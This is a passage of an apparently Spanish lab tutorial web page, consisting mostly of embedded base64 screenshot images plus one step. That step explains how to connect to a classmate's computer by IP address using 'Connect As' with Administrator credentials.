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" width="640" /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
7. Con el objetivo de elevar sus privilegios haga un logon al equipo remoto con un usuario con permisos de Administrador. Para esto haga clic derecho sobre la dirección IP de su compañero y seleccione “Connect As”. En la ventana “Credentials required” ingrese las credenciales con permiso de Administrador y a continuación haga clic en “OK”.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: center;">
<img alt="" height="357" src="data:image/png;base64,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